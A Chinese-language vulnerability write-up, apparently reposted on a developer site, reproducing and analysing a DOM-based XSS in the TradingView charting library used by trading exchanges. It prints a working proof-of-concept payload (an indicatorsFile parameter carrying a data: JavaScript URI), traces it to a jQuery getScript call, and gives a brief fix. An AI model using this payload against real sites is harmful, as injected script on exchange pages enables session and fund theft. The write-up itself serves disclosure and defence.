TradingView xss 0day 漏洞重现及分析

栏目: 编程工具 · 发布时间: 6年前

内容简介:近日,慢雾区传出js库TradingView xss 0day 漏洞,TradingView是多用于数字货币交易所、股票交易所的k线展示js库。Payload:#disabledFeatures=[]&enabledFeatures=[]&indicatorsFile=data:application/javascript,alert(‘xxx‘)//

0x00 概述

近日,慢雾区传出js库TradingView xss 0day 漏洞,TradingView是多用于数字货币交易所、股票交易所的k线展示js库。

0x01 漏洞重现

Payload:

#disabledFeatures=[]&enabledFeatures=[]&indicatorsFile=data:application/javascript,alert(‘xxx‘)//

https://www.xxx.com/assets/chart/charting_library/static/tv-chart.630b704a2b9d0eaf1593.html#disabledFeatures=[]&enabledFeatures=[]&indicatorsFile=data:application/javascript,alert(‘xxx’)//

TradingView xss 0day 漏洞重现及分析

TradingView xss 0day 漏洞重现及分析

0x02 修复方案

修改charting_library/static/bundles/library.xxx.js文件,使

getScript(“”)

0x03 漏洞分析

从payload的三个参数分析

漏洞文件:

charting_library/static/bundles/library.xxx.js

函数:

getScript(urlParams.indicatorsFile)

D?$.getScript(urlParams.indicatorsFile).done(function(){

此函数关键代码:

jQuery.ajaxTransport( "script", function( s ) {
 
  // This transport only deals with cross domain requests
  if ( s.crossDomain ) {
    var script, callback;
    return {
      send: function( _, complete ) {
        script = jQuery( "<script>" ).prop( {
          charset: s.scriptCharset,
          src: s.url
        } ).on(
          "load error",
          callback = function( evt ) {
            script.remove();
            callback = null;
            if ( evt ) {
              complete( evt.type === "error" ? 404 : 200, evt.type );
            }
          }
        );
 
        // Use native DOM manipulation to avoid our domManip AJAX trickery
        document.head.appendChild( script[ 0 ] );
      },
      abort: function() {
        if ( callback ) {
          callback();
        }
      }
    };
  }
} );

动态创建<script>,远程加载url。

另外两个参数:

function e()
{
JSON.parse(urlParams.disabledFeatures).forEach(function(e){t.setEnabled(e,!1)}),
JSON.parse(urlParams.enabledFeatures).forEach(function(e){t.setEnabled(e,!0)})
}

要求为json即可。

0x04 结语

DOM XSS,可过服务端/客户端防御。

测试了几个都存在,可见影响范围非常广。

0x05 参考资料

https://mp.weixin.qq.com/s/yfbKf_5Nk2NXFl2-xlFqKg


以上所述就是小编给大家介绍的《TradingView xss 0day 漏洞重现及分析》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Programming Ruby中文版

Programming Ruby中文版

托马斯 / 孙勇、姚延栋、张海峰 / 电子工业出版社 / 2007-3 / 99.00元

《Programming Rudy》(中文版)(第2版)是它的第2版,其中包括超过200页的新内容,以及对原有内容的修订,涵盖了Ruby 1.8中新的和改进的特性以及标准库模块。它不仅是您学习Ruby语言及其丰富特性的一本优秀教程,也可以作为日常编程时类和模块的参考手册。Ruby是一种跨平台、面向对象的动态类型编程语言。Ruby体现了表达的一致性和简单性,它不仅是一门编程语言,更是表达想法的一种简......一起来看看 《Programming Ruby中文版》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

MD5 加密
MD5 加密

MD5 加密工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具